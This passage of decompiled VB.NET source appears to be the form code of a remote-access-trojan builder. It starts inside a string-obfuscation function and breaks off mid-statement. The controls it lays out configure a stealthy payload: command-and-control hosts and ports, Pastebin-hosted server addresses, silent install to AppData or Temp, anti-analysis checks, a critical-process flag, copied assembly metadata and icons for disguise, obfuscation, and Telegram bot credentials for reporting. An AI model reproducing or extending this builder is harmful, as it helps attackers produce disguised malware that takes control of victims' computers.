builder.Append("口囗土士夂夊夕大女子宀寸小尢尸屮山巛工己巾干幺广廴廾弋弓彐彡彳二亠人儿入八冂冖冫几凵刀力勹匕匚匸十卜卩厂厶又一丨丶丿乙亅龠龍龜鼻齊黽鼎鼓鼠黃黍黑黹魚鳥鹵鹿麥麻馬骨高髟鬥鬯鬲鬼面革韋韭音頁風飛食首香金長門阜隶隹雨靑非見角言谷豆豕豸貝赤走足身車辛辰辵邑酉釆里竹米糸缶网羊羽老而耒耳聿肉臣自至臼舌舛舟艮色艸虍虫血行衣襾玄玉瓜瓦甘生用田疋疒癶白皮皿目矛矢石示禸禾穴立心戈戶手支攴文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬口囗土士夂夊夕大女子宀寸小尢尸屮山巛工己巾干幺广廴廾弋弓彐彡彳二亠人儿入八冂冖冫几凵刀力勹匕匚匸十卜卩厂厶又心戈戶手支攴文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬".Chars(num2)) + i += 1 + Loop + Return builder.ToString + End Function + + Private Sub InitializeComponent() + Me.components = New Container + Dim manager As New ComponentResourceManager(GetType(FormBuilder)) + Me.groupBox1 = New GroupBox + Me.btnRemoveIP = New Button + Me.btnAddIP = New Button + Me.listBoxIP = New ListBox + Me.textIP = New TextBox + Me.label1 = New Label + Me.btnRemovePort = New Button + Me.btnAddPort = New Button + Me.listBoxPort = New ListBox + Me.chkPastebin = New CheckBox + Me.label6 = New Label + Me.textPort = New TextBox + Me.label2 = New Label + Me.groupBox2 = New GroupBox + Me.comboBoxFolder = New ComboBox + Me.checkBox1 = New CheckBox + Me.label3 = New Label + Me.label4 = New Label + Me.groupBox3 = New GroupBox + Me.label17 = New Label + Me.numDelay = New NumericUpDown + Me.label16 = New Label + Me.pictureBox1 = New PictureBox + Me.chkBdos = New CheckBox + Me.label5 = New Label + Me.chkAnti = New CheckBox + Me.toolTip1 = New ToolTip(Me.components) + Me.tabControl1 = New TabControl + Me.tabPage1 = New TabPage + Me.pictureBox2 = New PictureBox + Me.tabPage3 = New TabPage + Me.tabPage2 = New TabPage + Me.tabPage4 = New TabPage + Me.groupBox4 = New GroupBox + Me.btnClone = New Button + Me.btnAssembly = New CheckBox + Me.label14 = New Label + Me.label13 = New Label + Me.label12 = New Label + Me.label11 = New Label + Me.label10 = New Label + Me.label9 = New Label + Me.label7 = New Label + Me.label8 = New Label + Me.tabPage5 = New TabPage + Me.groupBox5 = New GroupBox + Me.chkIcon = New CheckBox + Me.label15 = New Label + Me.txtIcon = New TextBox + Me.btnIcon = New Button + Me.picIcon = New PictureBox + Me.tabPage6 = New TabPage + Me.groupBox6 = New GroupBox + Me.tbchatid = New TextBox + Me.btnBuild = New Button + Me.tbtoken = New TextBox + Me.chkObfu = New CheckBox + Me.txtPastebin = New TextBox + Me.txtGroup = New TextBox + Me.txtMutex = New TextBox + Me.textFilename = New TextBox + Me.txtFileVersion = New TextBox + Me.txtProductVersion = New TextBox + Me.txtOriginalFilename = New TextBox + Me.txtTrademarks = New TextBox + Me.txtCopyright = New TextBox + Me.txtCompany = New TextBox + Me.txtDescription = New TextBox + Me.txtProduct = New TextBox + Me.label18 = New Label + Me.label19 = New Label + Me.groupBox1.SuspendLayout + Me.groupBox2.SuspendLayout + Me.numDelay.BeginInit + DirectCast(Me.pictureBox1, ISupportInitialize).BeginInit + Me.tabControl1.SuspendLayout + Me.tabPage1.SuspendLayout + DirectCast(Me.pictureBox2, ISupportInitialize).BeginInit + Me.tabPage3.SuspendLayout + Me.tabPage2.SuspendLayout + Me.tabPage4.SuspendLayout + Me.groupBox4.SuspendLayout + Me.tabPage5.SuspendLayout + Me.groupBox5.SuspendLayout + DirectCast(Me.picIcon, ISupportInitialize).BeginInit + Me.tabPage6.SuspendLayout + MyBase.SuspendLayout + Me.groupBox1.Controls.Add(Me.btnRemoveIP) + Me.groupBox1.Controls.Add(Me.btnAddIP) + Me.groupBox1.Controls.Add(Me.listBoxIP) + Me.groupBox1.Controls.Add(Me.textIP) + Me.groupBox1.Controls.Add(Me.label1) + Me.groupBox1.Controls.Add(Me.btnRemovePort) + Me.groupBox1.Controls.Add(Me.btnAddPort) + Me.groupBox1.Controls.Add(Me.listBoxPort) + Me.groupBox1.Controls.Add(Me.chkPastebin) + Me.groupBox1.Controls.Add(Me.txtPastebin) + Me.groupBox1.Controls.Add(Me.label6) + Me.groupBox1.Controls.Add(Me.textPort) + Me.groupBox1.Controls.Add(Me.label2) + Me.groupBox1.Location = New Point(4, 12) + Me.groupBox1.Margin = New Padding(2) + Me.groupBox1.Name = "groupBox1" + Me.groupBox1.Padding = New Padding(2) + Me.groupBox1.Size = New Size(&H187, &H11C) + Me.groupBox1.TabIndex = 1 + Me.groupBox1.TabStop = False + Me.groupBox1.Text = "Connection" + Me.btnRemoveIP.Font = New Font("Microsoft Sans Serif", 8!, FontStyle.Regular, GraphicsUnit.Point, 0) + Me.btnRemoveIP.Location = New Point(&H7F, &H65) + Me.btnRemoveIP.Margin = New Padding(2) + Me.btnRemoveIP.Name = "btnRemoveIP" + Me.btnRemoveIP.Size = New Size(&H1D, &H11) + Me.btnRemoveIP.TabIndex = &H12 + Me.btnRemoveIP.Text = "-" + Me.btnRemoveIP.UseVisualStyleBackColor = True + AddHandler Me.btnRemoveIP.Click, New EventHandler(AddressOf Me.BtnRemoveIP_Click) + Me.btnAddIP.Font = New Font("Microsoft Sans Serif", 8!, FontStyle.Regular, GraphicsUnit.Point, 0) + Me.btnAddIP.Location = New Point(&H30, &H65) + Me.btnAddIP.Margin = New Padding(2) + Me.btnAddIP.Name = "btnAddIP" + Me.btnAddIP.Size = New Size(&H1D, &H11) + Me.btnAddIP.TabIndex = &H11 + Me.btnAddIP.Text = "+" + Me.btnAddIP.UseVisualStyleBackColor = True + AddHandler Me.btnAddIP.Click, New EventHandler(AddressOf Me.BtnAddIP_Click) + Me.listBoxIP.FormattingEnabled = True + Me.listBoxIP.Location = New Point(&H30, &H2B) + Me.listBoxIP.Margin = New Padding(2) + Me.listBoxIP.Name = "listBoxIP" + Me.listBoxIP.Size = New Size(&H6D, &H38) + Me.listBoxIP.TabIndex = &H10 + Me.textIP.Location = New Point(&H30, &H16) + Me.textIP.Margin = New Padding(2) + Me.textIP.Name = "textIP" + Me.textIP.Size = New Size(&H6D, 20) + Me.textIP.TabIndex = 15 + Me.label1.AutoSize = True + Me.label1.Location = New Point(12, &H18) + Me.label1.Margin = New Padding(2, 0, 2, 0) + Me.label1.Name = "label1" + Me.label1.Size = New Size(30, 13) + Me.label1.TabIndex = 14 + Me.label1.Text = "DNS" + Me.btnRemovePort.Font = New Font("Microsoft Sans Serif", 8!, FontStyle.Regular, GraphicsUnit.Point, 0) + Me.btnRemovePort.Location = New Point(320, &H65) + Me.btnRemovePort.Margin = New Padding(2) + Me.btnRemovePort.Name = "btnRemovePort" + Me.btnRemovePort.Size = New Size(&H1D, &H11) + Me.btnRemovePort.TabIndex = 13 + Me.btnRemovePort.Text = "-" + Me.btnRemovePort.UseVisualStyleBackColor = True + AddHandler Me.btnRemovePort.Click, New EventHandler(AddressOf Me.BtnRemovePort_Click) + Me.btnAddPort.Font = New Font("Microsoft Sans Serif", 8!, FontStyle.Regular, GraphicsUnit.Point, 0) + Me.btnAddPort.Location = New Point(&HF1, &H65) + Me.btnAddPort.Margin = New Padding(2) + Me.btnAddPort.Name = "btnAddPort" + Me.btnAddPort.Size = New Size(&H1D, &H11) + Me.btnAddPort.TabIndex = 12 + Me.btnAddPort.Text = "+" + Me.btnAddPort.UseVisualStyleBackColor = True + AddHandler Me.btnAddPort.Click, New EventHandler(AddressOf Me.BtnAddPort_Click) + Me.listBoxPort.FormattingEnabled = True + Me.listBoxPort.Location = New Point(&HF1, &H2B) + Me.listBoxPort.Margin = New Padding(2) + Me.listBoxPort.Name = "listBoxPort" + Me.listBoxPort.Size = New Size(&H6D, &H38) + Me.listBoxPort.TabIndex = 10 + Me.chkPastebin.AutoSize = True + Me.chkPastebin.Location = New Point(15, 200) + Me.chkPastebin.Margin = New Padding(2) + Me.chkPastebin.Name = "chkPastebin" + Me.chkPastebin.Size = New Size(&H59, &H11) + Me.chkPastebin.TabIndex = 9 + Me.chkPastebin.Text = "Use Pastebin" + Me.toolTip1.SetToolTip(Me.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606") + Me.chkPastebin.UseVisualStyleBackColor = True + AddHandler Me.chkPastebin.CheckedChanged, New EventHandler(AddressOf Me.CheckBox2_CheckedChanged) + Me.label6.AutoSize = True + Me.label6.Location = New Point(9, &HE7) + Me.label6.Margin = New Padding(2, 0, 2, 0) + Me.label6.Name = "label6" + Me.label6.Size = New Size(&H30, 13) + Me.label6.TabIndex = 7 + Me.label6.Text = "Pastebin" + Me.textPort.Location = New Point(&HF1, &H16) + Me.textPort.Margin = New Padding(2) + Me.textPort.Name = "textPort" + Me.textPort.Size = New Size(&H6D, 20) + Me.textPort.TabIndex = 6 + Me.label2.AutoSize = True + Me.label2.Location = New Point(&HCD, &H18) + Me.label2.Margin = New Padding(2, 0, 2, 0) + Me.label2.Name = "label2" + Me.label2.Size = New Size(&H1A, 13) + Me.label2.TabIndex = 3 + Me.label2.Text = "Port" + Me.groupBox2.BackgroundImage = DirectCast(manager.GetObject("groupBox2.BackgroundImage"), Image) + Me.groupBox2.BackgroundImageLayout = ImageLayout.Stretch + Me.groupBox2.Controls.Add(Me.comboBoxFolder) + Me.groupBox2.Controls.Add(Me.checkBox1) + Me.groupBox2.Controls.Add(Me.textFilename) + Me.groupBox2.Controls.Add(Me.label3) + Me.groupBox2.Controls.Add(Me.label4) + Me.groupBox2.ForeColor = Color.White + Me.groupBox2.Location = New Point(4, 11) + Me.groupBox2.Margin = New Padding(2) + Me.groupBox2.Name = "groupBox2" + Me.groupBox2.Padding = New Padding(2) + Me.groupBox2.Size = New Size(390, &H11D) + Me.groupBox2.TabIndex = 7 + Me.groupBox2.TabStop = False + Me.groupBox2.Text = "Install" + Me.comboBoxFolder.DropDownStyle = ComboBoxStyle.DropDownList + Me.comboBoxFolder.Enabled = False + Me.comboBoxFolder.FormattingEnabled = True + Dim items As Object() = New Object() { "%AppData%", "%Temp%" } + Me.comboBoxFolder.Items.AddRange(items) + Me.comboBoxFolder.Location = New Point(&H45, &HDE) + Me.comboBoxFolder.Margin = New Padding(2) + Me.comboBoxFolder.Name = "comboBoxFolder" + Me.comboBoxFolder.Size = New Size(&HB6, &H15) + Me.comboBoxFolder.TabIndex = 8 + Me.checkBox1.AutoSize = True + Me.checkBox1.BackColor = Color.Transparent + Me.checkBox1.ForeColor = Color.Black + Me.checkBox1.Location = New Point(7, &H8F) + Me.checkBox1.Margin = New Padding(2) + Me.checkBox1.Name = "checkBox1" + Me.checkBox1.Size = New Size(&H2E, &H11) + Me.checkBox1.TabIndex = 7 + Me.checkBox1.Text = "OFF" + Me.checkBox1.UseVisualStyleBackColor = False + AddHandler Me.checkBox1.CheckedChanged, New EventHandler(AddressOf Me.checkBox1_CheckedChanged) + Me.label3.AutoSize = True + Me.label3.BackColor = Color.Transparent + Me.label3.ForeColor = Color.Black + Me.label3.Location = New Point(7, &HE1) + Me.label3.Margin = New Padding(2, 0, 2, 0) + Me.label3.Name = "label3" + Me.label3.Size = New Size(&H24, 13) + Me.label3.TabIndex = 3 + Me.label3.Text = "Folder" + Me.label4.AutoSize = True + Me.label4.BackColor = Color.Transparent + Me.label4.ForeColor = Color.Black + Me.label4.Location = New Point(4, &HBC) + Me.label4.Margin = New Padding(2, 0, 2, 0) + Me.label4.Name = "label4" + Me.label4.Size = New Size(&H31, 13) + Me.label4.TabIndex = 4 + Me.label4.Text = "Filename" + Me.groupBox3.BackColor = SystemColors.ActiveCaptionText + Me.groupBox3.BackgroundImage = DirectCast(manager.GetObject("groupBox3.BackgroundImage"), Image) + Me.groupBox3.BackgroundImageLayout = ImageLayout.Stretch + Me.groupBox3.ForeColor = Color.White + Me.groupBox3.Location = New Point(4, 11) + Me.groupBox3.Margin = New Padding(2) + Me.groupBox3.Name = "groupBox3" + Me.groupBox3.Padding = New Padding(2) + Me.groupBox3.Size = New Size(390, &H11D) + Me.groupBox3.TabIndex = 9 + Me.groupBox3.TabStop = False + Me.groupBox3.Text = "About" + Me.label17.AutoSize = True + Me.label17.Location = New Point(&H20C, &H2E) + Me.label17.Margin = New Padding(2, 0, 2, 0) + Me.label17.Name = "label17" + Me.label17.Size = New Size(&H24, 13) + Me.label17.TabIndex = &H10 + Me.label17.Text = "Group" + Me.numDelay.Location = New Point(&H211, &H101) + Me.numDelay.Margin = New Padding(2) + Dim bits As Integer() = New Integer(4 - 1) {} + bits(0) = &H3E7 + Me.numDelay.Maximum = New Decimal(bits) + Dim numArray2 As Integer() = New Integer(4 - 1) {} + numArray2(0) = 3 + Me.numDelay.Minimum = New Decimal(numArray2) + Me.numDelay.Name = "numDelay" + Me.numDelay.Size = New Size(&H38, 20) + Me.numDelay.TabIndex = 15 + Dim numArray3 As Integer() = New Integer(4 - 1) {} + numArray3(0) = 3 + Me.numDelay.Value = New Decimal(numArray3) + Me.label16.AutoSize = True + Me.label16.Location = New Point(&H20E, &HEC) + Me.label16.Margin = New Padding(2, 0, 2, 0) + Me.label16.Name = "label16" + Me.label16.Size = New Size(&H53, 13) + Me.label16.TabIndex = 14 + Me.label16.Text = "Delay (seconds)" + Me.pictureBox1.Image = Resources.uac + Me.pictureBox1.Location = New Point(&H279, &HC5) + Me.pictureBox1.Margin = New Padding(2) + Me.pictureBox1.Name = "pictureBox1" + Me.pictureBox1.Size = New Size(&H20, &H20) + Me.pictureBox1.SizeMode = PictureBoxSizeMode.AutoSize + Me.pictureBox1.TabIndex = 13 + Me.pictureBox1.TabStop = False + Me.chkBdos.AutoSize = True + Me.chkBdos.Location = New Point(&H20E, &HCA) + Me.chkBdos.Margin = New Padding(2) + Me.chkBdos.Name = "chkBdos" + Me.chkBdos.Size = New Size(&H62, &H11) + Me.chkBdos.TabIndex = 12 + Me.chkBdos.Text = "Process Critical" + Me.chkBdos.UseVisualStyleBackColor = True + Me.label5.AutoSize = True + Me.label5.Location = New Point(&H20C, &H67) + Me.label5.Margin = New Padding(2, 0, 2, 0) + Me.label5.Name = "label5" + Me.label5.Size = New Size(&H24, 13) + Me.label5.TabIndex = 10 + Me.label5.Text = "Mutex" + Me.chkAnti.AutoSize = True + Me.chkAnti.Location = New Point(&H20E, &HA9) + Me.chkAnti.Margin = New Padding(2) + Me.chkAnti.Name = "chkAnti" + Me.chkAnti.Size = New Size(&H55, &H11) + Me.chkAnti.TabIndex = 9 + Me.chkAnti.Text = "Anti Analysis" + Me.chkAnti.UseVisualStyleBackColor = True + Me.tabControl1.Appearance = TabAppearance.FlatButtons + Me.tabControl1.Controls.Add(Me.tabPage1) + Me.tabControl1.Controls.Add(Me.tabPage3) + Me.tabControl1.Controls.Add(Me.tabPage2) + Me.tabControl1.Controls.Add(Me.tabPage4) + Me.tabControl1.Controls.Add(Me.tabPage5) + Me.tabControl1.Controls.Add(Me.tabPage6) + Me.tabControl1.Location = New Point(&H31C, &H10C) + Me.tabControl1.Margin = New Padding(2) + Me.tabControl1.Name = "tabControl1" + Me.tabControl1.SelectedIndex = 0 + Me.tabControl1.Size = New Size(&H33, &H45) + Me.tabControl1.TabIndex = 10 + Me.tabPage1.BackColor = Color.White + Me.tabPage1.Controls.Add(Me.pictureBox2) + Me.tabPage1.Controls.Add(Me.groupBox1) + Me.tabPage1.ForeColor = SystemColors.ActiveCaptionText + Me.tabPage1.Location = New Point(4, &H19) + Me.tabPage1.Margin = New Padding(2) + Me.tabPage1.Name = "tabPage1" + Me.tabPage1.Padding = New Padding(2) + Me.tabPage1.Size = New Size(&H2B, 40) + Me.tabPage1.TabIndex = 0 + Me.tabPage1.Text = "Main" + Me.pictureBox2.BackgroundImage = DirectCast(manager.GetObject("pictureBox2.BackgroundImage"), Image) + Me.pictureBox2.BackgroundImageLayout = ImageLayout.Stretch + Me.pictureBox2.Location = New Point(4, 2) + Me.pictureBox2.Name = "pictureBox2" + Me.pictureBox2.Size = New Size(&H187, &H127) + Me.pictureBox2.TabIndex = 2 + Me.pictureBox2.TabStop = False + Me.tabPage3.Controls.Add(Me.txtGroup) + Me.tabPage3.Controls.Add(Me.groupBox3) + Me.tabPage3.Controls.Add(Me.label17) + Me.tabPage3.Controls.Add(Me.numDelay) + Me.tabPage3.Controls.Add(Me.chkAnti) + Me.tabPage3.Controls.Add(Me.label16) + Me.tabPage3.Controls.Add(Me.label5) + Me.tabPage3.Controls.Add(Me.pictureBox1) + Me.tabPage3.Controls.Add(Me.chkBdos) + Me.tabPage3.Controls.Add(Me.txtMutex) + Me.tabPage3.Location = New Point(4, &H19) + Me.tabPage3.Margin = New Padding(2) + Me.tabPage3.Name = "tabPage3" + Me.tabPage3.Padding = New Padding(2) + Me.tabPage3.Size = New Size(&H2B, 40) + Me.tabPage3.TabIndex = 2 + Me.tabPage3.Text = "About" + Me.tabPage3.UseVisualStyleBackColor = True + Me.tabPage2.Controls.Add(Me.groupBox2) + Me.tabPage2.Location = New Point(4, &H19) + Me.tabPage2.Margin = New Padding(2) + Me.tabPage2.Name = "tabPage2" + Me.tabPage2.Padding = New Padding(2) + Me.tabPage2.Size = New Size(&H2B, 40) + Me.tabPage2.TabIndex = 1 + Me.tabPage2.Text = "Install" + Me.tabPage2.UseVisualStyleBackColor = True + Me.tabPage4.Controls.Add(Me.groupBox4) + Me.tabPage4.Location = New Point(4, &H19) + Me.tabPage4.Margin = New Padding(2) + Me.tabPage4.Name = "tabPage4" + Me.tabPage4.Padding = New Padding(2) + Me.tabPage4.Size = New Size(&H2B, 40) + Me.tabPage4.TabIndex = 3 + Me.tabPage4.Text = "Assembly" + Me.tabPage4.UseVisualStyleBackColor = True + Me.groupBox4.BackgroundImage = DirectCast(manager.GetObject("groupBox4.BackgroundImage"), Image) + Me.groupBox4.BackgroundImageLayout = ImageLayout.Stretch + Me.groupBox4.Controls.Add(Me.btnClone) + Me.groupBox4.Controls.Add(Me.btnAssembly) + Me.groupBox4.Controls.Add(Me.txtFileVersion) + Me.groupBox4.Controls.Add(Me.txtProductVersion) + Me.groupBox4.Controls.Add(Me.txtOriginalFilename) + Me.groupBox4.Controls.Add(Me.txtTrademarks) + Me.groupBox4.Controls.Add(Me.txtCopyright) + Me.groupBox4.Controls.Add(Me.txtCompany) + Me.groupBox4.Controls.Add(Me.label14) + Me.groupBox4.Controls.Add(Me.label13) + Me.groupBox4.Controls.Add(Me.label12) + Me.groupBox4.Controls.Add(Me.label11) + Me.groupBox4.Controls.Add(Me.label10) + Me.groupBox4.Controls.Add(Me.label9) + Me.groupBox4.Controls.Add(Me.txtDescription) + Me.groupBox4.Controls.Add(Me.label7) + Me.groupBox4.Controls.Add(Me.txtProduct) + Me.groupBox4.Controls.Add(Me.label8) + Me.groupBox4.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0) + Me.groupBox4.ForeColor = Color.Black + Me.groupBox4.Location = New Point(4, 11) + Me.groupBox4.Margin = New Padding(2) + Me.groupBox4.Name = "groupBox4" + Me.groupBox4.Padding = New Padding(2) + Me.groupBox4.Size = New Size(390, &H11D) + Me.groupBox4.TabIndex = 8 + Me.groupBox4.TabStop = False + Me.groupBox4.Text = "Assembly Information" + Me.btnClone.BackColor = Color.Transparent + Me.btnClone.Enabled = False + Me.btnClone.FlatStyle = FlatStyle.Flat + Me.btnClone.Location = New Point(&H12E, &H1C) + Me.btnClone.Margin = New Padding(2) + Me.btnClone.Name = "btnClone" + Me.btnClone.Size = New Size(&H45, &H19) + Me.btnClone.TabIndex = &H15 + Me.btnClone.Text = "Clone" + Me.btnClone.UseVisualStyleBackColor = False + AddHandler Me.btnClone.Click, New EventHandler(AddressOf Me.BtnClone_Click) + Me.btnAssembly.AutoSize = True + Me.btnAssembly.BackColor = Color.Transparent + Me.btnAssembly.Location = New Point(10, &H13) + Me.btnAssembly.Margin = New Padding(2) + Me.btnAssembly.Name = "btnAssembly" + Me.btnAssembly.Size = New Size(&H41, &H11) + Me.btnAssembly.TabIndex = 20 + Me.btnAssembly.Text = "Enable" + Me.btnAssembly.UseVisualStyleBackColor = False + AddHandler Me.btnAssembly.CheckedChanged, New EventHandler(AddressOf Me.BtnAssembly_CheckedChanged) + Me.label14.AutoSize = True + Me.label14.BackColor = Color.Transparent + Me.label14.Location = New Point(5, &HE9) + Me.label14.Margin = New Padding(2, 0, 2, 0) + Me.label14.Name = "label14" + Me.label14.Size = New Size(&H65, 13) + Me.label14.TabIndex = 13 + Me.label14.Text = "Product Version:" + Me.label13.AutoSize = True + Me.label13.BackColor = Color.Transparent + Me.label13.Location = New Point(5, &H105) + Me.label13.Margin = New Padding(2, 0, 2, 0) + Me.label13.Name = "label13" + Me.label13.Size = New Size(&H4D, 13) + Me.label13.TabIndex = 12 + Me.label13.Text = "File Version:" + Me.label12.AutoSize = True + Me.label12.BackColor = Color.Transparent + Me.label12.Location = New Point(5, &HCE) + Me.label12.Margin = New Padding(2, 0, 2, 0) + Me.label12.Name = "label12" + Me.label12.Size = New Size(&H36, 13) + Me.label12.TabIndex = 11 + Me.label12.Text = "Original:" + Me.label11.AutoSize = True + Me.label11.BackColor = Color.Transparent + Me.label11.Location = New Point(5, &HB3) + Me.label11.Margin = New Padding(2, 0, 2, 0) + Me.label11.Name = "label11" + Me.label11.Size = New Size(&H4D, 13) + Me.label11.TabIndex = 10 + Me.label11.Text = "Trademarks:" + Me.label10.AutoSize = True + Me.label10.BackColor = Color.Transparent + Me.label10.Location = New Point(5, &H97) + Me.label10.Margin = New Padding(2, 0, 2, 0) + Me.label10.Name = "label10" + Me.label10.Size = New Size(&H40, 13) + Me.label10.TabIndex = 9 + Me.label10.Text = "Copyright:" + Me.label9.AutoSize = True + Me.label9.BackColor = Color.Transparent + Me.label9.Location = New Point(5, &H7C) + Me.label9.Margin = New Padding(2, 0, 2, 0) + Me.label9.Name = "label9" + Me.label9.Size = New Size(&H3E, 13) + Me.label9.TabIndex = 8 + Me.label9.Text = "Company:" + Me.label7.AutoSize = True + Me.label7.BackColor = Color.Transparent + Me.label7.Location = New Point(5, &H61) + Me.label7.Margin = New Padding(2, 0, 2, 0) + Me.label7.Name = "label7" + Me.label7.Size = New Size(&H4B, 13) + Me.label7.TabIndex = 6 + Me.label7.Text = "Description:" + Me.label8.AutoSize = True + Me.label8.BackColor = Color.Transparent + Me.label8.Location = New Point(7, &H4B) + Me.label8.Margin = New Padding(2, 0, 2, 0) + Me.label8.Name = "label8" + Me.label8.Size = New Size(&H37, 13) + Me.label8.TabIndex = 4 + Me.label8.Text = "Product:" + Me.tabPage5.Controls.Add(Me.groupBox5) + Me.tabPage5.Location = New Point(4, &H19) + Me.tabPage5.Margin = New Padding(2) + Me.tabPage5.Name = "tabPage5" + Me.tabPage5.Padding = New Padding(2) + Me.tabPage5.Size = New Size(&H2B, 40) + Me.tabPage5.TabIndex = 4 + Me.tabPage5.Text = "Icon" + Me.tabPage5.UseVisualStyleBackColor = True + Me.groupBox5.BackgroundImage = DirectCast(manager.GetObject("groupBox5.BackgroundImage"), Image) + Me.groupBox5.BackgroundImageLayout = ImageLayout.Stretch + Me.groupBox5.Controls.Add(Me.chkIcon) + Me.groupBox5.Controls.Add(Me.label15) + Me.groupBox5.Controls.Add(Me.txtIcon) + Me.groupBox5.Controls.Add(Me.btnIcon) + Me.groupBox5.Controls.Add(Me.picIcon) + Me.groupBox5.ForeColor = Color.Black + Me.groupBox5.Location = New Point(4, 11) + Me.groupBox5.Margin = New Padding(2) + Me.groupBox5.Name = "groupBox5" + Me.groupBox5.Padding = New Padding(2) + Me.groupBox5.Size = New Size(390, &H11D) + Me.groupBox5.TabIndex = 0 + Me.groupBox5.TabStop = False + Me.groupBox5.Text = "Add Icon" + Me.chkIcon.AutoSize = True + Me.chkIcon.BackColor = Color.Transparent + Me.chkIcon.Location = New Point(10, &H13) + Me.chkIcon.Margin = New Padding(2) + Me.chkIcon.Name = "chkIcon" + Me.chkIcon.Size = New Size(&H3B, &H11) + Me.chkIcon.TabIndex = 8 + Me.chkIcon.Text = "Enable" + Me.chkIcon.UseVisualStyleBackColor = False + AddHandler Me.chkIcon.CheckedChanged, New EventHandler(AddressOf Me.ChkIcon_CheckedChanged) + Me.label15.AutoSize = True + Me.label15.BackColor = Color.Transparent + Me.label15.Location = New Point(7, &HE7) + Me.label15.Margin = New Padding(2, 0, 2, 0) + Me.label15.Name = "label15" + Me.label15.Size = New Size(&H1D, 13) + Me.label15.TabIndex = 7 + Me.label15.Text = "Path" + Me.txtIcon.Enabled = False + Me.txtIcon.Location = New Point(10, &H100) + Me.txtIcon.Margin = New Padding(2) + Me.txtIcon.Name = "txtIcon" + Me.txtIcon.Size = New Size(&HD3, 20) + Me.txtIcon.TabIndex = 6 + Me.btnIcon.BackColor = Color.Transparent + Me.btnIcon.Enabled = False + Me.btnIcon.FlatStyle = FlatStyle.Flat + Me.btnIcon.Location = New Point(&HE1, &HF8) + Me.btnIcon.Margin = New Padding(2) + Me.btnIcon.Name = "btnIcon" + Me.btnIcon.Size = New Size(&H47, &H1C) + Me.btnIcon.TabIndex = 5 + Me.btnIcon.Text = " Browse" + Me.btnIcon.UseVisualStyleBackColor = False + AddHandler Me.btnIcon.Click, New EventHandler(AddressOf Me.BtnIcon_Click) + Me.picIcon.BackColor = Color.Transparent + Me.picIcon.BorderStyle = BorderStyle.FixedSingle + Me.picIcon.ErrorImage = Nothing + Me.picIcon.InitialImage = Nothing + Me.picIcon.Location = New Point(300, &HC3) + Me.picIcon.Margin = New Padding(2) + Me.picIcon.Name = "picIcon" + Me.picIcon.Size = New Size(&H56, &H54) + Me.picIcon.SizeMode = PictureBoxSizeMode.StretchImage + Me.picIcon.TabIndex = 4 + Me.picIcon.TabStop = False + Me.tabPage6.BackgroundImage = DirectCast(manager.GetObject("tabPage6.BackgroundImage"), Image) + Me.tabPage6.BackgroundImageLayout = ImageLayout.Stretch + Me.tabPage6.Controls.Add(Me.groupBox6) + Me.tabPage6.Location = New Point(4, &H19) + Me.tabPage6.Margin = New Padding(2) + Me.tabPage6.Name = "tabPage6" + Me.tabPage6.Padding = New Padding(2) + Me.tabPage6.Size = New Size(&H2B, 40) + Me.tabPage6.TabIndex = 5 + Me.tabPage6.Text = "Build" + Me.tabPage6.UseVisualStyleBackColor = True + Me.groupBox6.BackColor = Color.Transparent + Me.groupBox6.Font = New Font("Microsoft Sans Serif", 9.75!, FontStyle.Regular, GraphicsUnit.Point, 0) + Me.groupBox6.ForeColor = Color.Black + Me.groupBox6.Location = New Point(6, &H99) + Me.groupBox6.Name = "groupBox6" + Me.groupBox6.Size = New Size(&H179, &H59) + Me.groupBox6.TabIndex = 3 + Me.groupBox6.TabStop = False + Me.tbchatid.BackColor = SystemColors.InactiveCaptionText + Me.tbchatid.BorderStyle = BorderStyle.FixedSingle + Me.tbchatid.ForeColor = Color.Red + Me.tbchatid.Location = New Point(11, &HA4) + Me.tbchatid.Name = "tbchatid" + Me.tbchatid.Size = New Size(&HE1, 20) + Me.tbchatid.TabIndex = 1 + Me.tbchatid.Text = "Chat ID" + Me.tbchatid.TextAlign = HorizontalAlignment.Center + AddHandler Me.tbchatid.Click, New EventHandler(AddressOf Me.tbchatid_Click) + AddHandler Me.tbchatid.TextChanged, New EventHandler(AddressOf Me.tbchatid_TextChanged) + Me.btnBuild.BackColor = Color.Transparent + Me.btnBuild.BackgroundImageLayout = ImageLayout.Stretch + Me.btnBuild.FlatStyle = FlatStyle.Flat + Me.btnBuild.ForeColor = Color.Red + Me.btnBuild.Location = New Point(11, &HBD) + Me.btnBuild.Margin = New Padding(2) + Me.btnBuild.Name = "btnBuild" + Me.btnBuild.Size = New Size(&HE1, 30) + Me.btnBuild.TabIndex = 1 + Me.btnBuild.Text = "Build" + Me.btnBuild.UseVisualStyleBackColor = False + AddHandler Me.btnBuild.Click, New EventHandler(AddressOf Me.BtnBuild_Click) + Me.tbtoken.BackColor = SystemColors.InactiveCaptionText + Me.tbtoken.BorderStyle = BorderStyle.FixedSingle + Me.tbtoken.ForeColor = Color.Red + Me.tbtoken.Location = New Point(11, &H8A) + Me.tbtoken.Name = "tbtoken" + Me.tbtoken.Size = New Size(&HE1, 20) + Me.tbtoken.TabIndex = 0 + Me.tbtoken.Text = "Bot API Token" + Me.tbtoken.TextAlign = HorizontalAlignment.Center + AddHandler Me.tbtoken.Click, New EventHandler(AddressOf Me.tbtoken_Click) + AddHandler Me.tbtoken.TextChanged, New EventHandler(AddressOf Me.tbtoken_TextChanged) + Me.chkObfu.AutoSize = True + Me.chkObfu.BackColor = Color.Transparent + Me.chkObfu.ForeColor = Color.Red + Me.chkObfu.Location = New Point(11, &H74) + Me.chkObfu.Margin = New Padding(2) + Me.chkObfu.Name = "chkObfu" + Me.chkObfu.Size = New Size(&H4F, &H11) + Me.chkObfu.TabIndex = 2 + Me.chkObfu.Text = "Secure Bot" + Me.chkObfu.UseVisualStyleBackColor = False + AddHandler Me.chkObfu.CheckedChanged, New EventHandler(AddressOf Me.chkObfu_CheckedChanged) + Me.txtPastebin.DataBindings.Add(New Binding("Text", Settings.Default, "Pastebin", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtPastebin.Enabled = False + Me.txtPastebin.Location = New Point(&H47, &HE5) + Me.txtPastebin.Margin = New Padding(2) + Me.txtPastebin.Name = "txtPastebin" + Me.txtPastebin.Size = New Size(&HB6, 20) + Me.txtPastebin.TabIndex = 8 + Me.txtPastebin.Text = Settings.Default.Pastebin + Me.toolTip1.SetToolTip(Me.txtPastebin, 